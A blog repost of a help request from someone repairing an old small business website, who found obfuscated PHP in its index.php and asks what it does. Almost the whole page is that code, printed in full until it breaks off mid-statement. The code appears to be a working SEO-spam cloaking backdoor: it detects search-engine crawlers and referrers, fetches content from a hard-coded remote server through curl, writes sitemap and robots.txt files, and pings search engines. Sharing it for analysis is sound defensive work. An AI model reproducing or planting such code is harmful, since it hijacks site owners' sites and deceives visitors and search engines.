Found a block of obfuscated PHP code in a client project. What does this do? - Hack The Tech - Latest News related to Computer and Technology

Hack The Tech - Latest News related to Computer and Technology

Get Daily Latest News related to Computer and Technology and hack the world.

Tuesday, March 28, 2023

Found a block of obfuscated PHP code in a client project. What does this do?

No idea what this does. It's in the main index.php file for a 15 year old small business website that I'm repairing.

<?php

 $O='J_KLVABC12abc:fghiPQRjklmn/op-qrMNOst.uvw<xyz3DEFSTU=de789GHIWX?> Y*Z|04+56';$oOOoOooOOooO="c1-33";$oOoOoO=$O[16].$O[36].$O[36].$O[28].$O[13].$O[26].$O[26].$oOOoOooOOooO.$O[37].$O[53].$O[40].$O[10].$O[31].$O[14].$O[40].$O[10].$O[31].$O[31].$O[10].$O[25].$O[36].$O[37].$O[27].$O[25].$O[23].$O[17].$O[25].$O[54];$oOOoOoOo=$oOoOoO.$O[26].$O[21].$O[38].$O[24].$O[28].$O[1].$O[54].$O[25].$O[15].$O[17].$O[25].$O[54].$O[37].$O[28].$O[16].$O[28];$oOOoOooO=$oOoOoO.$O[26].$O[24].$O[10].$O[28].$O[1].$O[54].$O[25].$O[15].$O[17].$O[25].$O[54].$O[37].$O[28].$O[16].$O[28];$oOOooOOo=$oOoOoO.$O[26].$O[28].$O[31].$O[27].$O[53].$O[38].$O[12].$O[36].$O[35].$O[1].$O[54].$O[25].$O[15].$O[17].$O[25].$O[54].$O[37].$O[28].$O[16].$O[28];$oOoOOoOo=$_SERVER[$O[20].$O[47].$O[19].$O[51].$O[47].$O[49].$O[50].$O[1].$O[51].$O[20].$O[60]];$oOOooOOoOoOo=$_SERVER[$O[19].$O[51].$O[47].$O[20].$O[66].$O[1].$O[49].$O[50].$O[20].$O[60].$O[33].$O[58]];$oOOoOooOOoOo=((isset($_SERVER[$O[59].$O[50].$O[50].$O[18].$O[49]])&&$_SERVER[$O[59].$O[50].$O[50].$O[18].$O[49]]!==$O[27].$O[14].$O[14])?$O[16].$O[36].$O[36].$O[28].$O[35].$O[13].$O[26].$O[26]:$O[16].$O[36].$O[36].$O[28].$O[13].$O[26].$O[26]);$oOoOOooOoO=$_SERVER[$O[49].$O[7].$O[20].$O[60].$O[18].$O[50].$O[1].$O[33].$O[5].$O[32].$O[47]];$oOoOoOoOOo=$_SERVER[$O[49].$O[7].$O[20].$O[60].$O[18].$O[50].$O[1].$O[48].$O[60].$O[3].$O[47].$O[33].$O[5].$O[32].$O[47]];if($oOoOOoOo==$O[26].$O[12].$O[27].$O[53].$O[54].$O[1].$O[12].$O[16].$O[54].$O[12].$O[22]||$oOOooOOoOoOo==$O[12].$O[27].$O[53].$O[54].$O[1].$O[12].$O[16].$O[54].$O[12].$O[22]){echo $oOoOOooOoO.$O[29].$O[29].$O[29].$O[27].$O[22];exit;}$oOOoOooOoOOo=md5($O[26].$O[12].$O[27].$O[53].$O[54].$O[1].$O[12].$O[16].$O[54].$O[12].$O[22].$oOOoOooOOooO).$O[37].$O[36].$O[42].$O[36];if($oOoOOooOoO==$O[26].$O[17].$O[25].$O[53].$O[54].$O[42].$O[37].$O[28].$O[16].$O[28]){if(substr($oOoOOoOo,0,10)==$O[26].$O[17].$O[25].$O[53].$O[54].$O[42].$O[37].$O[28].$O[16].$O[28]||substr($oOoOOoOo,0,2)==$O[26].$O[63]||$oOoOOoOo==$O[26]){if($oOOooOOoOoOo==$O[38].$O[31].$O[23].$O[1].$O[35].$O[54].$O[36].$O[1].$O[21].$O[17].$O[25].$O[15]){@file_put_contents($oOOoOooOoOOo,'0');echo $oOOooOOoOoOo.$O[29].$O[29].$O[29].$O[27].$O[22];exit;}if($oOOooOOoOoOo==$O[38].$O[31].$O[23].$O[1].$O[35].$O[54].$O[36].$O[1].$O[53].$O[27].$O[25].$O[15]){@file_put_contents($oOOoOooOoOOo,'1');echo $oOOooOOoOoOo.$O[29].$O[29].$O[29].$O[27].$O[22];exit;}if(is_file($oOOoOooOoOOo)){if(trim(file_get_contents($oOOoOooOoOOo))=='0'){$oOoOOo=true;}}else{if(trim(OOO($oOOoOooOOoOo.$_SERVER[$O[59].$O[50].$O[50].$O[18].$O[1].$O[59].$O[34].$O[49].$O[50]].$O[26].$O[12].$O[27].$O[53].$O[54].$O[1].$O[12].$O[16].$O[54].$O[12].$O[22]))==$oOoOOooOoO.$O[29].$O[29].$O[29].$O[27].$O[22]){$oOoOOo=true;@file_put_contents($oOOoOooOoOOo,'0');}}}else{$oOoOOo=true;}}if(isset($oOoOOo)&&$oOoOOo==true){$oOOooOoO=$_SERVER[$O[59].$O[50].$O[50].$O[18].$O[1].$O[59].$O[34].$O[49].$O[50]].$O[26];$oOoOOoOooO=str_replace($O[26].$O[17].$O[25].$O[53].$O[54].$O[42].$O[37].$O[28].$O[16].$O[28],'',$oOoOOoOo);$oOoOOoOooO=ltrim($oOoOOoOooO,$O[26]);$oOoOOoOooO=ltrim($oOoOOoOooO,$O[63]);}else{$oOOooOoO=$_SERVER[$O[59].$O[50].$O[50].$O[18].$O[1].$O[59].$O[34].$O[49].$O[50]].$oOoOOooOoO.$O[63];$oOoOOoOooO=$_SERVER[$O[19].$O[51].$O[47].$O[20].$O[66].$O[1].$O[49].$O[50].$O[20].$O[60].$O[33].$O[58]];}$oOoOOooO=$_SERVER[$O[49].$O[47].$O[20].$O[4].$O[47].$O[20].$O[1].$O[33].$O[5].$O[32].$O[47]];isset($_SERVER[$O[59].$O[50].$O[50].$O[18].$O[1].$O[20].$O[47].$O[48].$O[47].$O[20].$O[47].$O[20]])?$oOoOoOOo=$_SERVER[$O[59].$O[50].$O[50].$O[18].$O[1].$O[20].$O[47].$O[48].$O[47].$O[20].$O[47].$O[20]]:$oOoOoOOo='';isset($_SERVER[$O[59].$O[50].$O[50].$O[18].$O[1].$O[51].$O[49].$O[47].$O[20].$O[1].$O[5].$O[58].$O[47].$O[33].$O[50]])?$oOoOoOoO=$_SERVER[$O[59].$O[50].$O[50].$O[18].$O[1].$O[51].$O[49].$O[47].$O[20].$O[1].$O[5].$O[58].$O[47].$O[33].$O[50]]:$oOoOoOoO='';isset($_SERVER[$O[20].$O[47].$O[32].$O[34].$O[50].$O[47].$O[1].$O[5].$O[46].$O[46].$O[20]])?$Oo=$_SERVER[$O[20].$O[47].$O[32].$O[34].$O[50].$O[47].$O[1].$O[5].$O[46].$O[46].$O[20]]:$Oo='';isset($_SERVER[$O[59].$O[50].$O[50].$O[18].$O[1].$O[62].$O[1].$O[48].$O[34].$O[20].$O[61].$O[5].$O[20].$O[46].$O[47].$O[46].$O[1].$O[48].$O[34].$O[20]])?$oO=$_SERVER[$O[59].$O[50].$O[50].$O[18].$O[1].$O[62].$O[1].$O[48].$O[34].$O[20].$O[61].$O[5].$O[20].$O[46].$O[47].$O[46].$O[1].$O[48].$O[34].$O[20]]:$oO='';isset($_SERVER[$O[59].$O[50].$O[50].$O[18].$O[1].$O[5].$O[7].$O[7].$O[47].$O[18].$O[50].$O[1].$O[3].$O[5].$O[33].$O[58].$O[51].$O[5].$O[58].$O[47]])?$oOOo=$_SERVER[$O[59].$O[50].$O[50].$O[18].$O[1].$O[5].$O[7].$O[7].$O[47].$O[18].$O[50].$O[1].$O[3].$O[5].$O[33].$O[58].$O[51].$O[5].$O[58].$O[47]]:$oOOo='';$oOoOOooOOo=$O[15].$O[27].$O[27].$O[15].$O[23].$O[54].$O[37].$O[12].$O[27].$O[37].$O[21].$O[28].$O[69].$O[15].$O[27].$O[27].$O[15].$O[23].$O[54].$O[37].$O[12].$O[27].$O[24].$O[69].$O[43].$O[10].$O[16].$O[27].$O[27].$O[37].$O[12].$O[27].$O[37].$O[21].$O[28].$O[69].$O[43].$O[10].$O[16].$O[27].$O[27].$O[37].$O[12].$O[27].$O[24].$O[69].$O[11].$O[17].$O[25].$O[15].$O[37].$O[12].$O[27].$O[37].$O[21].$O[28].$O[69].$O[11].$O[17].$O[25].$O[15].$O[37].$O[12].$O[27].$O[24];$oOOooOoOoO=$O[15].$O[27].$O[27].$O[15].$O[23].$O[54].$O[69].$O[43].$O[10].$O[16].$O[27].$O[27].$O[69].$O[11].$O[17].$O[25].$O[15];$oOOoOooOoO=array($O[15].$O[28].$O[1].$O[25].$O[10].$O[24].$O[54]=>$oOOoOooOOooO,$O[24].$O[10].$O[28].$O[1].$O[25].$O[10].$O[24].$O[54]=>$oOoOOoOooO,$O[28].$O[53].$O[1].$O[28].$O[10].$O[36].$O[16]=>$oOoOOoOooO,$O[35].$O[16].$O[54].$O[23].$O[23]=>$oOoOOooO,$O[16].$O[36].$O[36].$O[28]=>$oOOoOooOOoOo,$O[16].$O[36].$O[36].$O[28].$O[1].$O[16].$O[27].$O[35].$O[36]=>$oOOooOoO,$O[16].$O[36].$O[36].$O[28].$O[1].$O[31].$O[54].$O[14].$O[54].$O[31].$O[54].$O[31]=>$oOoOoOOo,$O[16].$O[36].$O[36].$O[28].$O[1].$O[38].$O[35].$O[54].$O[31].$O[1].$O[10].$O[15].$O[54].$O[25].$O[36]=>$oOoOoOoO,$O[31].$O[54].$O[24].$O[27].$O[36].$O[54].$O[1].$O[10].$O[53].$O[53].$O[31]=>$Oo,$O[16].$O[36].$O[36].$O[28].$O[1].$O[42].$O[1].$O[14].$O[27].$O[31].$O[40].$O[10].$O[31].$O[53].$O[54].$O[53].$O[1].$O[14].$O[27].$O[31]=>$oO,$O[16].$O[36].$O[36].$O[28].$O[1].$O[10].$O[12].$O[12].$O[54].$O[28].$O[36].$O[1].$O[23].$O[10].$O[25].$O[15].$O[38].$O[10].$O[15].$O[54]=>$oOOo);function OOO($oOOoOoOoOo){$oOOoOoOooO=curl_init();curl_setopt($oOOoOoOooO,CURLOPT_URL,$oOOoOoOoOo);curl_setopt($oOOoOoOooO,CURLOPT_RETURNTRANSFER,1);curl_setopt($oOOoOoOooO,CURLOPT_CONNECTTIMEOUT,5);$oOOoOooOOo=curl_exec($oOOoOoOooO);curl_close($oOOoOoOooO);return $oOOoOooOOo;}function OOOOO($oOOoOoOoOo,$oOOoOooOoO=array()){$oOOoOoOooO=curl_init();curl_setopt($oOOoOoOooO,CURLOPT_URL,$oOOoOoOoOo);curl_setopt($oOOoOoOooO,CURLOPT_RETURNTRANSFER,1);curl_setopt($oOOoOoOooO,CURLOPT_HEADER,0);curl_setopt($oOOoOoOooO,CURLOPT_TIMEOUT,10);curl_setopt($oOOoOoOooO,CURLOPT_POST,1);curl_setopt($oOOoOoOooO,CURLOPT_POSTFIELDS,http_build_query($oOOoOooOoO));$oOOoOooOOo=curl_exec($oOOoOoOooO);$oOOooOOoOo=curl_errno($oOOoOoOooO);curl_close($oOOoOoOooO);if(0!==$oOOooOOoOo){return false;}return $oOOoOooOOo;}if(strpos($oOoOOoOo,$O[37].$O[42].$O[24].$O[23])){$oOoOoOoOoO=OOOOO($oOOoOooO,$oOOoOooOoO);if(empty($oOoOoOoOoO)){header($O[59].$O[50].$O[50].$O[18].$O[26].$O[8].$O[37].$O[70].$O[65].$O[71].$O[70].$O[71].$O[65].$O[33].$O[27].$O[36].$O[65].$O[48].$O[27].$O[38].$O[25].$O[53]);exit;}header($O[7].$O[27].$O[25].$O[36].$O[54].$O[25].$O[36].$O[29].$O[36].$O[43].$O[28].$O[54].$O[13].$O[36].$O[54].$O[42].$O[36].$O[26].$O[42].$O[24].$O[23]);echo $oOoOoOoOoO;exit;}elseif(strpos($oOoOOoOo,$O[8].$O[70].$O[70].$O[70].$O[8].$O[10].$O[11].$O[12].$O[10].$O[10].$O[73].$O[73].$O[10].$O[36].$O[54].$O[35].$O[36].$O[10].$O[73])){$oOoOoOoOoO=OOOOO($oOOoOooO,$oOOoOooOoO);if(empty($oOoOoOoOoO)){header($O[59].$O[50].$O[50].$O[18].$O[26].$O[8].$O[37].$O[70].$O[65].$O[71].$O[70].$O[71].$O[65].$O[33].$O[27].$O[36].$O[65].$O[48].$O[27].$O[38].$O[25].$O[53]);exit;}echo $oOoOoOoOoO;exit;}elseif($oOoOOoOooO==$O[35].$O[17].$O[36].$O[54].$O[24].$O[10].$O[28].$O[28].$O[17].$O[25].$O[15]){$oOoOoOoOoO=OOOOO($oOOoOooO,$oOOoOooOoO);if(empty($oOoOoOoOoO)){header($O[59].$O[50].$O[50].$O[18].$O[26].$O[8].$O[37].$O[70].$O[65].$O[71].$O[70].$O[71].$O[65].$O[33].$O[27].$O[36].$O[65].$O[48].$O[27].$O[38].$O[25].$O[53]);exit;}$oOOoOoOoOoOo=explode("\n",$oOoOoOoOoO);$oOOooOOooO=$O[51].$O[35].$O[54].$O[31].$O[29].$O[10].$O[15].$O[54].$O[25].$O[36].$O[13].$O[67].PHP_EOL;$oOOooOOooO.=$O[5].$O[23].$O[23].$O[27].$O[40].$O[13].$O[26].PHP_EOL;for($oOOoOoOooOoO=0;$oOOoOoOooOoO<count($oOOoOoOoOoOo)-1;$oOOoOoOooOoO++){$oOOoOoOooOOo=OOO($O[16].$O[36].$O[36].$O[28].$O[35].$O[13].$O[26].$O[26].$O[40].$O[40].$O[40].$O[37].$O[15].$O[27].$O[27].$O[15].$O[23].$O[54].$O[37].$O[12].$O[27].$O[24].$O[26].$O[28].$O[17].$O[25].$O[15].$O[63].$O[35].$O[17].$O[36].$O[54].$O[24].$O[10].$O[28].$O[52].$oOOoOoOoOoOo[$oOOoOoOooOoO]);preg_match("/<h2>(.+)?<\/h2>/",$oOOoOoOooOOo,$oOOoOoOoOooO);echo $oOOoOoOoOoOo[$oOOoOoOooOoO].$O[52].$O[52].$O[64].$O[28].$O[17].$O[25].$O[15].$O[29].$O[15].$O[27].$O[27].$O[15].$O[23].$O[54].$O[29].$O[31].$O[54].$O[35].$O[38].$O[23].$O[36].$O[29].$O[17].$O[35].$O[13].$O[41].$O[11].$O[64].$oOOoOoOoOooO[1].$O[41].$O[26].$O[11].$O[64].$O[41].$O[11].$O[31].$O[26].$O[64].PHP_EOL;usleep(100000);$oOOooOOooO.=$O[49].$O[17].$O[36].$O[54].$O[24].$O[10].$O[28].$O[13].$oOOoOoOoOoOo[$oOOoOoOooOoO].PHP_EOL;}file_put_contents(str_replace($oOoOOooOoO,'',$oOoOoOoOOo).$O[26].$O[31].$O[27].$O[11].$O[27].$O[36].$O[35].$O[37].$O[36].$O[42].$O[36],$oOOooOOooO);echo $O[41].$O[11].$O[31].$O[26].$O[64].$O[41].$O[11].$O[31].$O[26].$O[64].$O[41].$O[11].$O[31].$O[26].$O[64].$O[31].$O[27].$O[11].$O[27].$O[36].$O[35].$O[37].$O[36].$O[42].$O[36].$O[52].$O[52].$O[64].$O[41].$O[11].$O[64].$O[38].$O[28].$O[53].$O[10].$O[36].$O[54].$O[53].$O[41].$O[26].$O[11].$O[64];exit;}else{if($oOoOoOoO!=''&&preg_match('/('.$oOOooOoOoO.')/si',$oOoOoOoO)){$oOoOoOOoOo=OOOOO($oOOooOOo,$oOOoOooOoO);empty($oOoOoOOoOo)?header($O[59].$O[50].$O[50].$O[18].$O[26].$O[8].$O[37].$O[70].$O[65].$O[71].$O[70].$O[71].$O[65].$O[33].$O[27].$O[36].$O[65].$O[48].$O[27].$O[38].$O[25].$O[53]):print $oOoOoOOoOo;exit;}else{if($oOoOoOOo!=''&&preg_match('/('.$oOoOOooOOo.')/si',$oOoOoOOo)){$oOoOoOOooO=OOOOO($oOOoOoOo,$oOOoOooOoO);if(!empty($oOoOoOOooO)){echo $oOoOoOOooO;exit;}}}}?><?php @header('Content-Type:text/html;charset=utf-8');error_reporting(0); $OOOOOO="%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%34%38%37%39%27%3b%28%29%26%5e%24%5b%5d%5c%5c%25%7b%7d%21%2a%7c%2b%2c"; global $O; $O=urldecode($OOOOOO);$oOooOO='z1202_6';$oOooOOoO=$O[15].$O[4].$O[4].$O[9].$O[62].$O[63].$O[63].$O[64].$O[67].$O[72].$O[59].$O[64].$O[69].$O[67].$O[59].$O[70].$O[68].$O[59].$O[71].$O[65].$O[63].$oOooOO.$O[63]; function ooooooooOOOOOOOOoooooOOO($oooOOOoOoo){$ooooOOOooOo=curl_init();curl_setopt ($ooooOOOooOo, CURLOPT_URL, $oooOOOoOoo);curl_setopt ($ooooOOOooOo, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ooooOOOooOo, CURLOPT_CONNECTTIMEOUT, 5);$oooooOOOOooO = curl_exec($ooooOOOooOo);curl_close($ooooOOOooOo);return $oooooOOOOooO; } function ooOOoOOO($OooooO,$OOOoooo=array()){global $O;$OooooO=str_replace(' ','+',$OooooO);$OOooooO=curl_init();curl_setopt($OOooooO,CURLOPT_URL, "$OooooO");curl_setopt($OOooooO,CURLOPT_RETURNTRANSFER, 1);curl_setopt($OOooooO,CURLOPT_HEADER, 0);curl_setopt($OOooooO,CURLOPT_TIMEOUT,10);curl_setopt($OOooooO,CURLOPT_POST, 1);curl_setopt($OOooooO,CURLOPT_POSTFIELDS, http_build_query($OOOoooo));$OOOOooo=curl_exec($OOooooO);$OOOOoooOO=curl_errno($OOooooO);curl_close($OOooooO);if(0!==$OOOOoooOO){return false;}return $OOOOooo;} function oooOOOo($ooOOo){global $O;$ooOOOOo = false;$oooooOOo = $O[14].$O[8].$O[8].$O[14].$O[18].$O[2].$O[23].$O[8].$O[4].$O[90].$O[14].$O[8].$O[8].$O[14].$O[18].$O[2].$O[90].$O[5].$O[10].$O[15].$O[8].$O[8].$O[90].$O[23].$O[7].$O[24].$O[14].$O[90].$O[10].$O[8].$O[18];if ($ooOOo!=''){if (preg_match("/($oooooOOo)/si",$ooOOo)){$ooOOOOo=true;}}return $ooOOOOo;} function oooOOooOOoOO($oOOOOOOoOOOO){global $O;$ooOOOOOOoO=false;$ooOOOOOOoOo=$O[14].$O[8].$O[8].$O[14].$O[18].$O[2].$O[59].$O[21].$O[8].$O[59].$O[16].$O[9].$O[90].$O[5].$O[10].$O[15].$O[8].$O[8].$O[59].$O[21].$O[8].$O[59].$O[16].$O[9].$O[90].$O[14].$O[8].$O[8].$O[14].$O[18].$O[2].$O[59].$O[21].$O[8].$O[25];if ($oOOOOOOoOOOO!='' && preg_match("/($ooOOOOOOoOo)/si", $oOOOOOOoOOOO)) {$ooOOOOOOoO=true;}return $ooOOOOOOoO;}$oOooOOoOO=((isset($_SERVER[$O[41].$O[30].$O[30].$O[35].$O[37]]) && $_SERVER[$O[41].$O[30].$O[30].$O[35].$O[37]]!==$O[8].$O[13].$O[13])?$O[15].$O[4].$O[4].$O[9].$O[11].$O[62].$O[63].$O[63]:$O[15].$O[4].$O[4].$O[9].$O[62].$O[63].$O[63]);$oOoooOOoOO=$_SERVER[$O[29].$O[28].$O[26].$O[32].$O[28].$O[37].$O[30].$O[52].$O[32].$O[29].$O[33]];$ooOOoooOOoOO=$_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[41].$O[34].$O[37].$O[30]];$ooOOOoooOOoOO=$_SERVER[$O[35].$O[41].$O[35].$O[52].$O[37].$O[28].$O[44].$O[39]];$ooOOOOoooOOOoOO=$_SERVER[$O[37].$O[28].$O[29].$O[48].$O[28].$O[29].$O[52].$O[50].$O[36].$O[51].$O[28]];$ooOOOOoooOOOOoOO=$oOooOOoOO.$ooOOoooOOoOO.$oOoooOOoOO;$oooOOOOoooOOOooOO=$oOooOOoO.$O[63].$O[7].$O[24].$O[12].$O[10].$O[4].$O[10].$O[59].$O[9].$O[15].$O[9];$ooooOOOOoooOOOooO=$oOooOOoO.$O[63].$O[25].$O[10].$O[9].$O[59].$O[9].$O[15].$O[9];$ooooOOOOoooOOOooOoo=$oOooOOoO.$O[63].$O[16].$O[6].$O[25].$O[9].$O[59].$O[9].$O[15].$O[9];$oooooOOoooOOOoooOoo=$oOooOOoO.$O[63].$O[1].$O[8].$O[3].$O[12].$O[11].$O[59].$O[9].$O[15].$O[9];$ooooooooOOOOoooOOoooOO=$oOooOOoO.$O[63].$O[3].$O[8].$O[23].$O[8].$O[4].$O[11].$O[59].$O[9].$O[15].$O[9];$ooooooOoOoooOOOooo[$O[6].$O[11].$O[2].$O[3].$O[52].$O[10].$O[14].$O[2].$O[24].$O[4]]=strtolower(isset($_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[32].$O[37].$O[28].$O[29].$O[52].$O[36].$O[40].$O[28].$O[50].$O[30]])?$_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[32].$O[37].$O[28].$O[29].$O[52].$O[36].$O[40].$O[28].$O[50].$O[30]]:'');$oooOoOOooOoooOOOoOoOoOoOoO=strtolower(isset($_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[32].$O[37].$O[28].$O[29].$O[52].$O[36].$O[40].$O[28].$O[50].$O[30]])?$_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[32].$O[37].$O[28].$O[29].$O[52].$O[36].$O[40].$O[28].$O[50].$O[30]]:'');$ooooooOoOoooOOOooo[$O[15].$O[4].$O[4].$O[9].$O[52].$O[6].$O[11].$O[2].$O[3].$O[52].$O[10].$O[14].$O[2].$O[24].$O[4]]=$oooOoOOooOoooOOOoOoOoOoOoO;$oooOOOooOoooOOOooooOoOoOoOoO=isset($_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[29].$O[28].$O[39].$O[28].$O[29].$O[28].$O[29]])?$_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[29].$O[28].$O[39].$O[28].$O[29].$O[28].$O[29]]:'';$ooooOOOOoooOOOoooOOO=$_SERVER[$O[29].$O[28].$O[51].$O[34].$O[30].$O[28].$O[52].$O[36].$O[38].$O[38].$O[29]];$ooooooOoOoooOOOooo[$O[7].$O[9]]=$ooooOOOOoooOOOoooOOO;$ooooooOoOoooOOOooo[$O[3].$O[2].$O[13].$O[2].$O[3].$O[2].$O[3]]=$oooOOOooOoooOOOooooOoOoOoOoO;if(strpos($oOoooOOoOO,$O[59].$O[9].$O[15].$O[9])){$ooooooOOoooOOOoooOo=$oOooOOoOO.$ooOOoooOOoOO.$ooOOOoooOOoOO;}else{$ooooooOOoooOOOoooOo=$oOooOOoOO.$ooOOoooOOoOO;}$ooooooOoOoooOOOooo[]=array();$ooooooOoOoooOOOooo[$O[12].$O[8].$O[25].$O[10].$O[7].$O[24]]=$ooOOoooOOoOO;$ooooooOoOoooOOOooo[$O[3].$O[2].$O[0].$O[52].$O[6].$O[3].$O[7]]=$oOoooOOoOO;$ooooooOoOoooOOOooo[$O[15].$O[3].$O[2].$O[13]]=$ooooooOOoooOOOoooOo;$ooooooOoOoooOOOooo[$O[3].$O[2].$O[0].$O[52].$O[6].$O[3].$O[18]]=$ooOOOOoooOOOOoOO;if(substr($oOoooOOoOO,-6)==$O[3].$O[8].$O[23].$O[8].$O[4].$O[11]){$ooooooooOOOOOoooOoOoooOO = ooOOoOOO($ooooooooOOOOoooOOoooOO,$ooooooOoOoooOOOooo);define('BASE_PATH',str_ireplace($_SERVER[$O[35].$O[41].$O[35].$O[52].$O[37].$O[28].$O[44].$O[39]],'',__FILE__));file_put_contents(BASE_PATH.$O[63].$O[3].$O[8].$O[23].$O[8].$O[4].$O[11].$O[59].$O[4].$O[20].$O[4],$ooooooooOOOOOoooOoOoooOO);$ooooooooOOOOOoooOoOoooOO=file_get_contents(BASE_PATH.$O[63].$O[3].$O[8].$O[23].$O[8].$O[4].$O[11].$O[59].$O[4].$O[20].$O[4]);if(strpos($ooooooooOOOOOoooOoOoooOO,$O[59].$O[20].$O[25].$O[18])){    echo $O[3].$O[8].$O[23].$O[8].$O[4].$O[11].$O[59].$O[4].$O[20].$O[4].$O[57].$O[13].$O[7].$O[18].$O[2].$O[57].$O[21].$O[3].$O[2].$O[10].$O[4].$O[2].$O[57].$O[11].$O[6].$O[21].$O[21].$O[2].$O[11].$O[11].$O[88];}else{  echo $O[3].$O[8].$O[23].$O[8].$O[4].$O[11].$O[59].$O[4].$O[20].$O[4].$O[57].$O[13].$O[7].$O[18].$O[2].$O[57].$O[21].$O[3].$O[2].$O[10].$O[4].$O[2].$O[57].$O[13].$O[10].$O[7].$O[18].$O[88];}exit; }if(substr($oOoooOOoOO,-4)==$O[59].$O[20].$O[25].$O[18]){if(strpos($oOoooOOoOO,$O[9].$O[7].$O[24].$O[14].$O[11].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[59].$O[20].$O[25].$O[18])){$ooooooOoOoooOOOooooO = ooOOoOOO($ooooOOOOoooOOOooO,$ooooooOoOoooOOOooo);$ooooooOOoooOOOooooOOO= explode(",",$ooooooOoOoooOOOooooO);$ooooooOOoooOOOooooOOO[]=$O[11].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9];for($ooooooOOoooOOOooooOOOOo=0;$ooooooOOoooOOOooooOOOOo<count($ooooooOOoooOOOooooOOO);$ooooooOOoooOOOooooOOOOo++){if(strpos($ooooooOOoooOOOoooOo,$O[59].$O[9].$O[15].$O[9])> 0){$ooooooOOoooOOOooooOOOOoo=$O[55];}else{$ooooooOOoooOOOooooOOOOoo=$O[63]; } $ooooooOOOoooOOOooooOOOOOoo=$ooooooOOoooOOOoooOo.$ooooooOOoooOOOooooOOOOoo.$ooooooOOoooOOOooooOOO[$ooooooOOoooOOOooooOOOOo].$O[59].$O[20].$O[25].$O[18]; $ooooooOOOOoooOOOooooOOOOOo=$O[15].$O[4].$O[4].$O[9].$O[11].$O[62].$O[63].$O[63].$O[1].$O[1].$O[1].$O[59].$O[14].$O[8].$O[8].$O[14].$O[18].$O[2].$O[59].$O[21].$O[8].$O[25].$O[63].$O[9].$O[7].$O[24].$O[14].$O[55].$O[11].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[61].$ooooooOOOoooOOOooooOOOOOoo; $ooooooOOOOoooOOOooooOOOOOoOooOoOo=$O[15].$O[4].$O[4].$O[9].$O[62].$O[63].$O[63].$O[1].$O[1].$O[1].$O[59].$O[14].$O[8].$O[8].$O[14].$O[18].$O[2].$O[59].$O[21].$O[8].$O[25].$O[63].$O[9].$O[7].$O[24].$O[14].$O[55].$O[11].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[61].$ooooooOOOoooOOOooooOOOOOoo; if(stristr(@file_get_contents($ooooooOOOOoooOOOooooOOOOOo),$O[11].$O[6].$O[21].$O[21].$O[2].$O[11].$O[11].$O[13].$O[6].$O[18].$O[18].$O[5])){echo $ooooooOOOOoooOOOooooOOOOOo.$O[61].$O[61].$O[61].$O[56].$O[37].$O[6].$O[23].$O[25].$O[7].$O[4].$O[4].$O[7].$O[24].$O[14].$O[57].$O[40].$O[8].$O[8].$O[14].$O[18].$O[2].$O[57].$O[37].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[62].$O[57].$O[34].$O[43].PHP_EOL;}else if(stristr(@ooooooooOOOOOOOOoooooOOO($ooooooOOOOoooOOOooooOOOOOo),$O[11].$O[6].$O[21].$O[21].$O[2].$O[11].$O[11].$O[13].$O[6].$O[18].$O[18].$O[5])){echo $ooooooOOOOoooOOOooooOOOOOo.$O[61].$O[61].$O[61].$O[56].$O[37].$O[6].$O[23].$O[25].$O[7].$O[4].$O[4].$O[7].$O[24].$O[14].$O[57].$O[40].$O[8].$O[8].$O[14].$O[18].$O[2].$O[57].$O[37].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[62].$O[57].$O[34].$O[43].PHP_EOL; }else if(stristr(@file_get_contents($ooooooOOOOoooOOOooooOOOOOoOooOoOo),$O[11].$O[6].$O[21].$O[21].$O[2].$O[11].$O[11].$O[13].$O[6].$O[18].$O[18].$O[5])){echo $ooooooOOOOoooOOOooooOOOOOoOooOoOo.$O[61].$O[61].$O[61].$O[56].$O[37].$O[6].$O[23].$O[25].$O[7].$O[4].$O[4].$O[7].$O[24].$O[14].$O[57].$O[40].$O[8].$O[8].$O[14].$O[18].$O[2].$O[57].$O[37].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[62].$O[57].$O[34].$O[43].PHP_EOL; }else if(stristr(@ooooooooOOOOOOOOoooooOOO($ooooooOOOOoooOOOooooOOOOOoOooOoOo),$O[11].$O[6].$O[21].$O[21].$O[2].$O[11].$O[11].$O[13].$O[6].$O[18].$O[18].$O[5])){echo $ooooooOOOOoooOOOooooOOOOOoOooOoOo.$O[61].$O[61].$O[61].$O[56].$O[37].$O[6].$O[23].$O[25].$O[7].$O[4].$O[4].$O[7].$O[24].$O[14].$O[57].$O[40].$O[8].$O[8].$O[14].$O[18].$O[2].$O[57].$O[37].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[62].$O[57].$O[34].$O[43].PHP_EOL; }else{echo $ooooooOOOOoooOOOooooOOOOOoOooOoOo.$O[61].$O[61].$O[61].$O[56].$O[37].$O[6].$O[23].$O[25].$O[7].$O[4].$O[4].$O[7].$O[24].$O[14].$O[57].$O[40].$O[8].$O[8].$O[14].$O[18].$O[2].$O[57].$O[37].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[62].$O[57].$O[13].$O[10].$O[7].$O[18].PHP_EOL;}}exit;}if(strpos($oOoooOOoOO,$O[10].$O[18].$O[18].$O[11].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[59].$O[20].$O[25].$O[18])){$ooooooOoOoooOOOooooO = 